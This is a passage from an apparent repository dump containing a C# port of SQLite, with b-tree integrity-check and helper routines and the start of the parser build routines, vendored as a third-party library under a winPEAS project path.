SQLITE_OK)\n      {\n        sqlite3Put4byte(pP1, 36 + idx * 4, iMeta);\n#if !SQLITE_OMIT_AUTOVACUUM\n        if (idx == BTREE_INCR_VACUUM)\n        {\n          Debug.Assert(pBt.autoVacuum || iMeta == 0);\n          Debug.Assert(iMeta == 0 || iMeta == 1);\n          pBt.incrVacuum = iMeta != 0;\n        }\n#endif\n      }\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n#if !SQLITE_OMIT_BTREECOUNT\n    /*\n** The first argument, pCur, is a cursor opened on some b-tree. Count the\n** number of entries in the b-tree and write the result to pnEntry.\n**\n** SQLITE_OK is returned if the operation is successfully executed.\n** Otherwise, if an error is encountered (i.e. an IO error or database\n** corruption) an SQLite error code is returned.\n*/\n    static int sqlite3BtreeCount(BtCursor pCur, ref i64 pnEntry)\n    {\n      i64 nEntry = 0;                      /* Value to return in pnEntry */\n      int rc;                              /* Return code */\n      rc = moveToRoot(pCur);\n\n      /* Unless an error occurs, the following loop runs one iteration for each\n      ** page in the B-Tree structure (not including overflow pages).\n      */\n      while (rc == SQLITE_OK)\n      {\n        int iIdx;                          /* Index of child node in parent */\n        MemPage pPage;                    /* Current page of the b-tree */\n\n        /* If this is a leaf page or the tree is not an int-key tree, then\n        ** this page contains countable entries. Increment the entry counter\n        ** accordingly.\n        */\n        pPage = pCur.apPage[pCur.iPage];\n        if (pPage.leaf != 0 || 0 == pPage.intKey)\n        {\n          nEntry += pPage.nCell;\n        }\n\n        /* pPage is a leaf node. This loop navigates the cursor so that it\n        ** points to the first interior cell that it points to the parent of\n        ** the next page in the tree that has not yet been visited. The\n        ** pCur.aiIdx[pCur.iPage] value is set to the index of the parent cell\n        ** of the page, or to the number of cells in the page if the next page\n        ** to visit is the right-child of its parent.\n        **\n        ** If all pages in the tree have been visited, return SQLITE_OK to the\n        ** caller.\n        */\n        if (pPage.leaf != 0)\n        {\n          do\n          {\n            if (pCur.iPage == 0)\n            {\n              /* All pages of the b-tree have been visited. Return successfully. */\n              pnEntry = nEntry;\n              return SQLITE_OK;\n            }\n            moveToParent(pCur);\n          } while (pCur.aiIdx[pCur.iPage] >= pCur.apPage[pCur.iPage].nCell);\n\n          pCur.aiIdx[pCur.iPage]++;\n          pPage = pCur.apPage[pCur.iPage];\n        }\n\n        /* Descend to the child node of the cell that the cursor currently\n        ** points at. This is the right-child if (iIdx==pPage.nCell).\n        */\n        iIdx = pCur.aiIdx[pCur.iPage];\n        if (iIdx == pPage.nCell)\n        {\n          rc = moveToChild(pCur, sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8));\n        }\n        else\n        {\n          rc = moveToChild(pCur, sqlite3Get4byte(pPage.aData, findCell(pPage, iIdx)));\n        }\n      }\n\n      /* An error has occurred. Return an error code. */\n      return rc;\n    }\n#endif\n\n    /*\n** Return the pager associated with a BTree.  This routine is used for\n** testing and debugging only.\n*/\n    static Pager sqlite3BtreePager(Btree p)\n    {\n      return p.pBt.pPager;\n    }\n\n#if !SQLITE_OMIT_INTEGRITY_CHECK\n    /*\n** Append a message to the error message string.\n*/\n    static void checkAppendMsg(\n    IntegrityCk pCheck,\n    string zMsg1,\n    string zFormat,\n    params object[] ap\n    )\n    {\n      //va_list ap;\n      if (0 == pCheck.mxErr) return;\n      pCheck.mxErr--;\n      pCheck.nErr++;\n      va_start(ap, zFormat);\n      if (pCheck.errMsg.nChar != 0)\n      {\n        sqlite3StrAccumAppend(pCheck.errMsg, \"\\n\", 1);\n      }\n      if (!String.IsNullOrEmpty(zMsg1))\n      {\n        sqlite3StrAccumAppend(pCheck.errMsg, zMsg1, -1);\n      }\n      sqlite3VXPrintf(pCheck.errMsg, 1, zFormat, ap);\n      va_end(ap);\n      //if( pCheck.errMsg.mallocFailed ){\n      //  pCheck.mallocFailed = 1;\n      //}\n    }\n#endif //* SQLITE_OMIT_INTEGRITY_CHECK */\n\n#if !SQLITE_OMIT_INTEGRITY_CHECK\n    /*\n** Add 1 to the reference count for page iPage.  If this is the second\n** reference to the page, add an error message to pCheck.zErrMsg.\n** Return 1 if there are 2 ore more references to the page and 0 if\n** if this is the first reference to the page.\n**\n** Also check that the page number is in bounds.\n*/\n    static int checkRef(IntegrityCk pCheck, Pgno iPage, string zContext)\n    {\n      if (iPage == 0) return 1;\n      if (iPage > pCheck.nPage)\n      {\n        checkAppendMsg(pCheck, zContext, \"invalid page number %d\", iPage);\n        return 1;\n      }\n      if (pCheck.anRef[iPage] == 1)\n      {\n        checkAppendMsg(pCheck, zContext, \"2nd reference to page %d\", iPage);\n        return 1;\n      }\n      return ((pCheck.anRef[iPage]++) > 1) ? 1 : 0;\n    }\n\n#if !SQLITE_OMIT_AUTOVACUUM\n    /*\n** Check that the entry in the pointer-map for page iChild maps to\n** page iParent, pointer type ptrType. If not, append an error message\n** to pCheck.\n*/\n    static void checkPtrmap(\n    IntegrityCk pCheck,    /* Integrity check context */\n    Pgno iChild,           /* Child page number */\n    u8 eType,              /* Expected pointer map type */\n    Pgno iParent,          /* Expected pointer map parent page number */\n    string zContext        /* Context description (used for error msg) */\n    )\n    {\n      int rc;\n      u8 ePtrmapType = 0;\n      Pgno iPtrmapParent = 0;\n\n      rc = ptrmapGet(pCheck.pBt, iChild, ref ePtrmapType, ref iPtrmapParent);\n      if (rc != SQLITE_OK)\n      {\n        //if( rc==SQLITE_NOMEM || rc==SQLITE_IOERR_NOMEM ) pCheck.mallocFailed = 1;\n        checkAppendMsg(pCheck, zContext, \"Failed to read ptrmap key=%d\", iChild);\n        return;\n      }\n\n      if (ePtrmapType != eType || iPtrmapParent != iParent)\n      {\n        checkAppendMsg(pCheck, zContext,\n        \"Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)\",\n        iChild, eType, iParent, ePtrmapType, iPtrmapParent);\n      }\n    }\n#endif\n\n    /*\n** Check the integrity of the freelist or of an overflow page list.\n** Verify that the number of pages on the list is N.\n*/\n    static void checkList(\n    IntegrityCk pCheck,  /* Integrity checking context */\n    int isFreeList,       /* True for a freelist.  False for overflow page list */\n    int iPage,            /* Page number for first page in the list */\n    int N,                /* Expected number of pages in the list */\n    string zContext        /* Context for error messages */\n    )\n    {\n      int i;\n      int expected = N;\n      int iFirst = iPage;\n      while (N-- > 0 && pCheck.mxErr != 0)\n      {\n        DbPage pOvflPage = new PgHdr();\n        byte[] pOvflData;\n        if (iPage < 1)\n        {\n          checkAppendMsg(pCheck, zContext,\n          \"%d of %d pages missing from overflow list starting at %d\",\n          N + 1, expected, iFirst);\n          break;\n        }\n        if (checkRef(pCheck, (u32)iPage, zContext) != 0) break;\n        if (sqlite3PagerGet(pCheck.pPager, (Pgno)iPage, ref pOvflPage) != 0)\n        {\n          checkAppendMsg(pCheck, zContext, \"failed to get page %d\", iPage);\n          break;\n        }\n        pOvflData = sqlite3PagerGetData(pOvflPage);\n        if (isFreeList != 0)\n        {\n          int n = (int)sqlite3Get4byte(pOvflData, 4);\n#if !SQLITE_OMIT_AUTOVACUUM\n          if (pCheck.pBt.autoVacuum)\n          {\n            checkPtrmap(pCheck, (u32)iPage, PTRMAP_FREEPAGE, 0, zContext);\n          }\n#endif\n          if (n > pCheck.pBt.usableSize / 4 - 2)\n          {\n            checkAppendMsg(pCheck, zContext,\n            \"freelist leaf count too big on page %d\", iPage);\n            N--;\n          }\n          else\n          {\n            for (i = 0; i < n; i++)\n            {\n              Pgno iFreePage = sqlite3Get4byte(pOvflData, 8 + i * 4);\n#if !SQLITE_OMIT_AUTOVACUUM\n              if (pCheck.pBt.autoVacuum)\n              {\n                checkPtrmap(pCheck, iFreePage, PTRMAP_FREEPAGE, 0, zContext);\n              }\n#endif\n              checkRef(pCheck, iFreePage, zContext);\n            }\n            N -= n;\n          }\n        }\n#if !SQLITE_OMIT_AUTOVACUUM\n        else\n        {\n          /* If this database supports auto-vacuum and iPage is not the last\n          ** page in this overflow list, check that the pointer-map entry for\n          ** the following page matches iPage.\n          */\n          if (pCheck.pBt.autoVacuum && N > 0)\n          {\n            i = (int)sqlite3Get4byte(pOvflData);\n            checkPtrmap(pCheck, (u32)i, PTRMAP_OVERFLOW2, (u32)iPage, zContext);\n          }\n        }\n#endif\n        iPage = (int)sqlite3Get4byte(pOvflData);\n        sqlite3PagerUnref(pOvflPage);\n      }\n    }\n#endif //* SQLITE_OMIT_INTEGRITY_CHECK */\n\n#if !SQLITE_OMIT_INTEGRITY_CHECK\n    /*\n** Do various sanity checks on a single page of a tree.  Return\n** the tree depth.  Root pages return 0.  Parents of root pages\n** return 1, and so forth.\n**\n** These checks are done:\n**\n**      1.  Make sure that cells and freeblocks do not overlap\n**          but combine to completely cover the page.\n**  NO  2.  Make sure cell keys are in order.\n**  NO  3.  Make sure no key is less than or equal to zLowerBound.\n**  NO  4.  Make sure no key is greater than or equal to zUpperBound.\n**      5.  Check the integrity of overflow pages.\n**      6.  Recursively call checkTreePage on all children.\n**      7.  Verify that the depth of all children is the same.\n**      8.  Make sure this page is at least 33% full or else it is\n**          the root of the tree.\n*/\n    static int checkTreePage(\n    IntegrityCk pCheck,  /* Context for the sanity check */\n    int iPage,            /* Page number of the page to check */\n    string zParentContext  /* Parent context */\n    )\n    {\n      MemPage pPage = new MemPage();\n      int i, rc, depth, d2, pgno, cnt;\n      int hdr, cellStart;\n      int nCell;\n      u8[] data;\n      BtShared pBt;\n      int usableSize;\n      string zContext = \"\";//[100];\n      byte[] hit = null;\n\n\n      sqlite3_snprintf(200, ref zContext, \"Page %d: \", iPage);\n\n      /* Check that the page exists\n      */\n      pBt = pCheck.pBt;\n      usableSize = pBt.usableSize;\n      if (iPage == 0) return 0;\n      if (checkRef(pCheck, (u32)iPage, zParentContext) != 0) return 0;\n      if ((rc = btreeGetPage(pBt, (Pgno)iPage, ref pPage, 0)) != 0)\n      {\n        checkAppendMsg(pCheck, zContext,\n        \"unable to get the page. error code=%d\", rc);\n        return 0;\n      }\n\n      /* Clear MemPage.isInit to make sure the corruption detection code in\n      ** btreeInitPage() is executed.  */\n      pPage.isInit = 0;\n      if ((rc = btreeInitPage(pPage)) != 0)\n      {\n        Debug.Assert(rc == SQLITE_CORRUPT);  /* The only possible error from InitPage */\n        checkAppendMsg(pCheck, zContext,\n        \"btreeInitPage() returns error code %d\", rc);\n        releasePage(pPage);\n        return 0;\n      }\n\n      /* Check out all the cells.\n      */\n      depth = 0;\n      for (i = 0; i < pPage.nCell && pCheck.mxErr != 0; i++)\n      {\n        u8[] pCell;\n        u32 sz;\n        CellInfo info = new CellInfo();\n\n        /* Check payload overflow pages\n        */\n        sqlite3_snprintf(200, ref zContext,\n        \"On tree page %d cell %d: \", iPage, i);\n        int iCell = findCell(pPage, i); //pCell = findCell( pPage, i );\n        pCell = pPage.aData;\n        btreeParseCellPtr( pPage, iCell, ref info ); //btreeParseCellPtr( pPage, pCell, info );\n        sz = info.nData;\n        if (0 == pPage.intKey) sz += (u32)info.nKey;\n        Debug.Assert(sz == info.nPayload);\n        if ((sz > info.nLocal)\n          //&& (pCell[info.iOverflow]<=&pPage.aData[pBt.usableSize])\n        )\n        {\n          int nPage = (int)(sz - info.nLocal + usableSize - 5) / (usableSize - 4);\n          Pgno pgnoOvfl = sqlite3Get4byte(pCell, iCell, info.iOverflow);\n#if !SQLITE_OMIT_AUTOVACUUM\n          if (pBt.autoVacuum)\n          {\n            checkPtrmap(pCheck, pgnoOvfl, PTRMAP_OVERFLOW1, (u32)iPage, zContext);\n          }\n#endif\n          checkList(pCheck, 0, (int)pgnoOvfl, nPage, zContext);\n        }\n\n        /* Check sanity of left child page.\n        */\n        if (0 == pPage.leaf)\n        {\n          pgno = (int)sqlite3Get4byte(pCell, iCell); //sqlite3Get4byte( pCell );\n#if !SQLITE_OMIT_AUTOVACUUM\n          if (pBt.autoVacuum)\n          {\n            checkPtrmap(pCheck, (u32)pgno, PTRMAP_BTREE, (u32)iPage, zContext);\n          }\n#endif\n          d2 = checkTreePage(pCheck, pgno, zContext);\n          if (i > 0 && d2 != depth)\n          {\n            checkAppendMsg(pCheck, zContext, \"Child page depth differs\");\n          }\n          depth = d2;\n        }\n      }\n      if (0 == pPage.leaf)\n      {\n        pgno = (int)sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8);\n        sqlite3_snprintf(200, ref zContext,\n        \"On page %d at right child: \", iPage);\n#if !SQLITE_OMIT_AUTOVACUUM\n        if (pBt.autoVacuum)\n        {\n          checkPtrmap(pCheck, (u32)pgno, PTRMAP_BTREE, (u32)iPage, \"\");\n        }\n#endif\n        checkTreePage(pCheck, pgno, zContext);\n      }\n\n      /* Check for complete coverage of the page\n      */\n      data = pPage.aData;\n      hdr = pPage.hdrOffset;\n      hit = new byte[pBt.pageSize]; //sqlite3PageMalloc( pBt.pageSize );\n      //if( hit==null ){\n      //  pCheck.mallocFailed = 1;\n      //}else\n      {\n        u16 contentOffset = (u16)get2byte(data, hdr + 5);\n        Debug.Assert(contentOffset <= usableSize);  /* Enforced by btreeInitPage() */\n        //memset(hit+contentOffset, 0, usableSize-contentOffset);\n        //memset(hit, 1, contentOffset);\n        for (int iLoop = contentOffset - 1; iLoop >= 0; iLoop--) hit[iLoop] = 1;\n        nCell = get2byte(data, hdr + 3);\n        cellStart = hdr + 12 - 4 * pPage.leaf;\n        for (i = 0; i < nCell; i++)\n        {\n          int pc = get2byte(data, cellStart + i * 2);\n          u16 size = 1024;\n          int j;\n          if (pc <= usableSize - 4)\n          {\n            size = cellSizePtr(pPage, data, pc);\n          }\n          if ((pc + size - 1) >= usableSize)\n          {\n            checkAppendMsg(pCheck, null,\n            \"Corruption detected in cell %d on page %d\", i, iPage, 0);\n          }\n          else\n          {\n            for (j = pc + size - 1; j >= pc; j--) hit[j]++;\n          }\n        }\n        i = get2byte(data, hdr + 1);\n        while (i > 0)\n        {\n          int size, j;\n          Debug.Assert(i <= usableSize - 4);     /* Enforced by btreeInitPage() */\n          size = get2byte(data, i + 2);\n          Debug.Assert(i + size <= usableSize);  /* Enforced by btreeInitPage() */\n          for (j = i + size - 1; j >= i; j--) hit[j]++;\n          j = get2byte(data, i);\n          Debug.Assert(j == 0 || j > i + size);  /* Enforced by btreeInitPage() */\n          Debug.Assert(j <= usableSize - 4);   /* Enforced by btreeInitPage() */\n          i = j;\n        }\n        for (i = cnt = 0; i < usableSize; i++)\n        {\n          if (hit[i] == 0)\n          {\n            cnt++;\n          }\n          else if (hit[i] > 1)\n          {\n            checkAppendMsg(pCheck, \"\",\n            \"Multiple uses for byte %d of page %d\", i, iPage);\n            break;\n          }\n        }\n        if (cnt != data[hdr + 7])\n        {\n          checkAppendMsg(pCheck, null,\n          \"Fragmentation of %d bytes reported as %d on page %d\",\n          cnt, data[hdr + 7], iPage);\n        }\n      }\n      //      sqlite3PageFree(ref hit);\n      releasePage(pPage);\n      return depth + 1;\n    }\n#endif //* SQLITE_OMIT_INTEGRITY_CHECK */\n\n#if !SQLITE_OMIT_INTEGRITY_CHECK\n    /*\n** This routine does a complete check of the given BTree file.  aRoot[] is\n** an array of pages numbers were each page number is the root page of\n** a table.  nRoot is the number of entries in aRoot.\n**\n** A read-only or read-write transaction must be opened before calling\n** this function.\n**\n** Write the number of error seen in pnErr.  Except for some memory\n** allocation errors,  an error message held in memory obtained from\n** malloc is returned if pnErr is non-zero.  If pnErr==null then NULL is\n** returned.  If a memory allocation error occurs, NULL is returned.\n*/\n    static string sqlite3BtreeIntegrityCheck(\n    Btree p,       /* The btree to be checked */\n    int[] aRoot,   /* An array of root pages numbers for individual trees */\n    int nRoot,     /* Number of entries in aRoot[] */\n    int mxErr,     /* Stop reporting errors after this many */\n    ref int pnErr  /* Write number of errors seen to this variable */\n    )\n    {\n      Pgno i;\n      int nRef;\n      IntegrityCk sCheck = new IntegrityCk();\n      BtShared pBt = p.pBt;\n      StringBuilder zErr = new StringBuilder(100);//char zErr[100];\n\n\n      sqlite3BtreeEnter(p);\n      Debug.Assert(p.inTrans > TRANS_NONE && pBt.inTransaction > TRANS_NONE);\n      nRef = sqlite3PagerRefcount(pBt.pPager);\n      sCheck.pBt = pBt;\n      sCheck.pPager = pBt.pPager;\n      sCheck.nPage = pagerPagecount(sCheck.pBt);\n      sCheck.mxErr = mxErr;\n      sCheck.nErr = 0;\n      //sCheck.mallocFailed = 0;\n      pnErr = 0;\n      if (sCheck.nPage == 0)\n      {\n        sqlite3BtreeLeave(p);\n        return \"\";\n      }\n      sCheck.anRef = new int[sCheck.nPage + 1];//sqlite3Malloc( (sCheck.nPage+1)*sizeof(sCheck.anRef[0]) );\n      //if( !sCheck.anRef ){\n      //  pnErr = 1;\n      //  sqlite3BtreeLeave(p);\n      //  return 0;\n      //}\n      // for (i = 0; i <= sCheck.nPage; i++) { sCheck.anRef[i] = 0; }\n      i = PENDING_BYTE_PAGE(pBt);\n      if (i <= sCheck.nPage)\n      {\n        sCheck.anRef[i] = 1;\n      }\n      sqlite3StrAccumInit(sCheck.errMsg, zErr, zErr.Capacity, 20000);\n\n      /* Check the integrity of the freelist\n      */\n      checkList(sCheck, 1, (int)sqlite3Get4byte(pBt.pPage1.aData, 32),\n      (int)sqlite3Get4byte(pBt.pPage1.aData, 36), \"Main freelist: \");\n\n      /* Check all the tables.\n      */\n      for (i = 0; (int)i < nRoot && sCheck.mxErr != 0; i++)\n      {\n        if (aRoot[i] == 0) continue;\n#if !SQLITE_OMIT_AUTOVACUUM\n        if (pBt.autoVacuum && aRoot[i] > 1)\n        {\n          checkPtrmap(sCheck, (u32)aRoot[i], PTRMAP_ROOTPAGE, 0, \"\");\n        }\n#endif\n        checkTreePage(sCheck, aRoot[i], \"List of tree roots: \");\n      }\n\n      /* Make sure every page in the file is referenced\n      */\n      for (i = 1; i <= sCheck.nPage && sCheck.mxErr != 0; i++)\n      {\n#if SQLITE_OMIT_AUTOVACUUM\nif( sCheck.anRef[i]==null ){\ncheckAppendMsg(sCheck, 0, \"Page %d is never used\", i);\n}\n#else\n        /* If the database supports auto-vacuum, make sure no tables contain\n** references to pointer-map pages.\n*/\n        if (sCheck.anRef[i] == 0 &&\n        (PTRMAP_PAGENO(pBt, i) != i || !pBt.autoVacuum))\n        {\n          checkAppendMsg(sCheck, null, \"Page %d is never used\", i);\n        }\n        if (sCheck.anRef[i] != 0 &&\n        (PTRMAP_PAGENO(pBt, i) == i && pBt.autoVacuum))\n        {\n          checkAppendMsg(sCheck, null, \"Pointer map page %d is referenced\", i);\n        }\n#endif\n      }\n\n      /* Make sure this analysis did not leave any unref() pages.\n      ** This is an internal consistency check; an integrity check\n      ** of the integrity check.\n      */\n      if (NEVER(nRef != sqlite3PagerRefcount(pBt.pPager)))\n      {\n        checkAppendMsg(sCheck, null,\n        \"Outstanding page count goes from %d to %d during this analysis\",\n        nRef, sqlite3PagerRefcount(pBt.pPager)\n        );\n      }\n\n      /* Clean  up and report errors.\n      */\n      sqlite3BtreeLeave(p);\n      sCheck.anRef = null;// sqlite3_free( ref sCheck.anRef );\n      //if( sCheck.mallocFailed ){\n      //  sqlite3StrAccumReset(sCheck.errMsg);\n      //  pnErr = sCheck.nErr+1;\n      //  return 0;\n      //}\n      pnErr = sCheck.nErr;\n      if (sCheck.nErr == 0) sqlite3StrAccumReset(sCheck.errMsg);\n      return sqlite3StrAccumFinish(sCheck.errMsg);\n    }\n#endif //* SQLITE_OMIT_INTEGRITY_CHECK */\n\n    /*\n** Return the full pathname of the underlying database file.\n**\n** The pager filename is invariant as long as the pager is\n** open so it is safe to access without the BtShared mutex.\n*/\n    static string sqlite3BtreeGetFilename(Btree p)\n    {\n      Debug.Assert(p.pBt.pPager != null);\n      return sqlite3PagerFilename(p.pBt.pPager);\n    }\n\n    /*\n    ** Return the pathname of the journal file for this database. The return\n    ** value of this routine is the same regardless of whether the journal file\n    ** has been created or not.\n    **\n    ** The pager journal filename is invariant as long as the pager is\n    ** open so it is safe to access without the BtShared mutex.\n    */\n    static string sqlite3BtreeGetJournalname(Btree p)\n    {\n      Debug.Assert(p.pBt.pPager != null);\n      return sqlite3PagerJournalname(p.pBt.pPager);\n    }\n\n    /*\n    ** Return non-zero if a transaction is active.\n    */\n    static bool sqlite3BtreeIsInTrans(Btree p)\n    {\n      Debug.Assert(p == null || sqlite3_mutex_held(p.db.mutex));\n      return (p != null && (p.inTrans == TRANS_WRITE));\n    }\n\n    /*\n    ** Return non-zero if a read (or write) transaction is active.\n    */\n    static bool sqlite3BtreeIsInReadTrans(Btree p)\n    {\n      Debug.Assert(p != null);\n      Debug.Assert(sqlite3_mutex_held(p.db.mutex));\n      return p.inTrans != TRANS_NONE;\n    }\n\n    static bool sqlite3BtreeIsInBackup(Btree p)\n    {\n      Debug.Assert(p != null);\n      Debug.Assert(sqlite3_mutex_held(p.db.mutex));\n      return p.nBackup != 0;\n    }\n\n    /*\n    ** This function returns a pointer to a blob of memory associated with\n    ** a single shared-btree. The memory is used by client code for its own\n    ** purposes (for example, to store a high-level schema associated with\n    ** the shared-btree). The btree layer manages reference counting issues.\n    **\n    ** The first time this is called on a shared-btree, nBytes bytes of memory\n    ** are allocated, zeroed, and returned to the caller. For each subsequent\n    ** call the nBytes parameter is ignored and a pointer to the same blob\n    ** of memory returned.\n    **\n    ** If the nBytes parameter is 0 and the blob of memory has not yet been\n    ** allocated, a null pointer is returned. If the blob has already been\n    ** allocated, it is returned as normal.\n    **\n    ** Just before the shared-btree is closed, the function passed as the\n    ** xFree argument when the memory allocation was made is invoked on the\n    ** blob of allocated memory. This function should not call sqlite3_free(ref )\n    ** on the memory, the btree layer does that.\n    */\n    static Schema sqlite3BtreeSchema(Btree p, int nBytes, dxFreeSchema xFree)\n    {\n      BtShared pBt = p.pBt;\n      sqlite3BtreeEnter(p);\n      if (null == pBt.pSchema && nBytes != 0)\n      {\n        pBt.pSchema = new Schema();//sqlite3MallocZero(nBytes);\n        pBt.xFreeSchema = xFree;\n      }\n      sqlite3BtreeLeave(p);\n      return pBt.pSchema;\n    }\n\n    /*\n    ** Return SQLITE_LOCKED_SHAREDCACHE if another user of the same shared\n    ** btree as the argument handle holds an exclusive lock on the\n    ** sqlite_master table. Otherwise SQLITE_OK.\n    */\n    static int sqlite3BtreeSchemaLocked(Btree p)\n    {\n      int rc;\n      Debug.Assert(sqlite3_mutex_held(p.db.mutex));\n      sqlite3BtreeEnter(p);\n      rc = querySharedCacheTableLock(p, MASTER_ROOT, READ_LOCK);\n      Debug.Assert(rc == SQLITE_OK || rc == SQLITE_LOCKED_SHAREDCACHE);\n      sqlite3BtreeLeave(p);\n      return rc;\n    }\n\n\n#if !SQLITE_OMIT_SHARED_CACHE\n/*\n** Obtain a lock on the table whose root page is iTab.  The\n** lock is a write lock if isWritelock is true or a read lock\n** if it is false.\n*/\nint sqlite3BtreeLockTable(Btree p, int iTab, u8 isWriteLock){\nint rc = SQLITE_OK;\nDebug.Assert( p.inTrans!=TRANS_NONE );\nif( p.sharable ){\nu8 lockType = READ_LOCK + isWriteLock;\nDebug.Assert( READ_LOCK+1==WRITE_LOCK );\nDebug.Assert( isWriteLock==null || isWriteLock==1 );\n\nsqlite3BtreeEnter(p);\nrc = querySharedCacheTableLock(p, iTab, lockType);\nif( rc==SQLITE_OK ){\nrc = setSharedCacheTableLock(p, iTab, lockType);\n}\nsqlite3BtreeLeave(p);\n}\nreturn rc;\n}\n#endif\n\n#if !SQLITE_OMIT_INCRBLOB\n/*\n** Argument pCsr must be a cursor opened for writing on an\n** INTKEY table currently pointing at a valid table entry.\n** This function modifies the data stored as part of that entry.\n**\n** Only the data content may only be modified, it is not possible to\n** change the length of the data stored. If this function is called with\n** parameters that attempt to write past the end of the existing data,\n** no modifications are made and SQLITE_CORRUPT is returned.\n*/\nint sqlite3BtreePutData(BtCursor pCsr, u32 offset, u32 amt, void *z){\nint rc;\nDebug.Assert( cursorHoldsMutex(pCsr) );\nDebug.Assert( sqlite3_mutex_held(pCsr.pBtree.db.mutex) );\nDebug.Assert( pCsr.isIncrblobHandle );\n\nrc = restoreCursorPosition(pCsr);\nif( rc!=SQLITE_OK ){\nreturn rc;\n}\nDebug.Assert( pCsr.eState!=CURSOR_REQUIRESEEK );\nif( pCsr.eState!=CURSOR_VALID ){\nreturn SQLITE_ABORT;\n}\n\n/* Check some assumptions:\n**   (a) the cursor is open for writing,\n**   (b) there is a read/write transaction open,\n**   (c) the connection holds a write-lock on the table (if required),\n**   (d) there are no conflicting read-locks, and\n**   (e) the cursor points at a valid row of an intKey table.\n*/\nif( !pCsr.wrFlag ){\nreturn SQLITE_READONLY;\n}\nDebug.Assert( !pCsr.pBt.readOnly && pCsr.pBt.inTransaction==TRANS_WRITE );\nDebug.Assert( hasSharedCacheTableLock(pCsr.pBtree, pCsr.pgnoRoot, 0, 2) );\nDebug.Assert( !hasReadConflicts(pCsr.pBtree, pCsr.pgnoRoot) );\nDebug.Assert( pCsr.apPage[pCsr.iPage].intKey );\n\nreturn accessPayload(pCsr, offset, amt, (byte[] *)z, 1);\n}\n\n/*\n** Set a flag on this cursor to cache the locations of pages from the\n** overflow list for the current row. This is used by cursors opened\n** for incremental blob IO only.\n**\n** This function sets a flag only. The actual page location cache\n** (stored in BtCursor.aOverflow[]) is allocated and used by function\n** accessPayload() (the worker function for sqlite3BtreeData() and\n** sqlite3BtreePutData()).\n*/\nvoid sqlite3BtreeCacheOverflow(BtCursor pCur){\nDebug.Assert( cursorHoldsMutex(pCur) );\nDebug.Assert( sqlite3_mutex_held(pCur.pBtree.db.mutex) );\nDebug.Assert(!pCur.isIncrblobHandle);\nDebug.Assert(!pCur.aOverflow);\npCur.isIncrblobHandle = 1;\n}\n#endif\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/build_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing System.Text;\nusing i16 = System.Int16;\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains C code routines that are called by the SQLite parser\n    ** when syntax rules are reduced.  The routines in this file handle the\n    ** following kinds of SQL syntax:\n    **\n    **     CREATE TABLE\n    **     DROP TABLE\n    **     CREATE INDEX\n    **     DROP INDEX\n    **     creating ID lists\n    **     BEGIN TRANSACTION\n    **     COMMIT\n    **     ROLLBACK\n    **\n    ** $Id: build.c,v 1.557 2009/07/24 17:58:53 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** This routine is called when a new SQL statement is beginning to\n    ** be parsed.  Initialize the pParse structure as needed.\n    */\n    static void sqlite3BeginParse( Parse pParse, int explainFlag )\n    {\n      pParse.explain = (byte)explainFlag;\n      pParse.nVar = 0;\n    }\n\n#if !SQLITE_OMIT_SHARED_CACHE\n/*\n** The TableLock structure is only used by the sqlite3TableLock() and\n** codeTableLocks() functions.\n*/\n//struct TableLock {\n//  int iDb;             /* The database containing the table to be locked */\n//  int iTab;            /* The root page of the table to be locked */\n//  u8 isWriteLock;      /* True for write lock.  False for a read lock */\n//  string zName;   /* Name of the table */\n//};\n\npublic class TableLock\n{\npublic int iDb;         /* The database containing the table to be locked */\npublic int iTab;        /* The root page of the table to be locked */\npublic u8 isWriteLock;  /* True for write lock.  False for a read lock */\npublic string zName;    /* Name of the table */\n}\n/*\n** Record the fact that we want to lock a table at run-time.\n**\n** The table to be locked has root page iTab and is found in database iDb.\n** A read or a write lock can be taken depending on isWritelock.\n**\n** This routine just records the fact that the lock is desired.  The\n** code to make the lock occur is generated by a later call to\n** codeTableLocks() which occurs during sqlite3FinishCoding().\n*/\nstatic void sqlite3TableLock(\nParse pParse,     /* Parsing context */\nint iDb,          /* Index of the database containing the table to lock */\nint iTab,         /* Root page number of the table to be locked */\nu8 isWriteLock,   /* True for a write lock */\nstring zName      /* Name of the table to be locked */\n)\n{\nint i;\nint nBytes;\nTableLock p;\n\nDebug.Assert( iDb >= 0 );\n\nfor ( i = 0 ; i < pParse.nTableLock ; i++ )\n{\np = pParse.aTableLock[i];\nif ( p.iDb == iDb && p.iTab == iTab )\n{\np.isWriteLock = (byte)( ( p.isWriteLock != 0 || isWriteLock != 0 ) ? 1 : 0 );\nreturn;\n}\n}\n\nnBytes = ( pParse.nTableLock + 1 );//sizeof(TableLock) *\nArray.Resize( ref pParse.aTableLock, pParse.nTableLock + 1 );\n//          sqlite3DbReallocOrFree( pParse.db, pParse.aTableLock, nBytes );\nif ( pParse.aTableLock != null )\n{\npParse.aTableLock[pParse.nTableLock] = new TableLock();\np = pParse.aTableLock[pParse.nTableLock++];\np.iDb = iDb;\np.iTab = iTab;\np.isWriteLock = isWriteLock;\np.zName = zName;\n}\nelse\n{\npParse.nTableLock = 0;\npParse.db.mallocFailed = 1;\n}\n}\n\n/*\n** Code an OP_TableLock instruction for each table locked by the\n** statement (configured by calls to sqlite3TableLock()).\n*/\nstatic void codeTableLocks( Parse pParse )\n{\nint i;\nVdbe pVdbe;\n\npVdbe = sqlite3GetVdbe( pParse );\nDebug.Assert( pVdbe != null ); /* sqlite3GetVdbe cannot fail: VDBE already allocated */\n\nfor ( i = 0 ; i < pParse.nTableLock ; i++ )\n{\nTableLock p = pParse.aTableLock[i];\nint p1 = 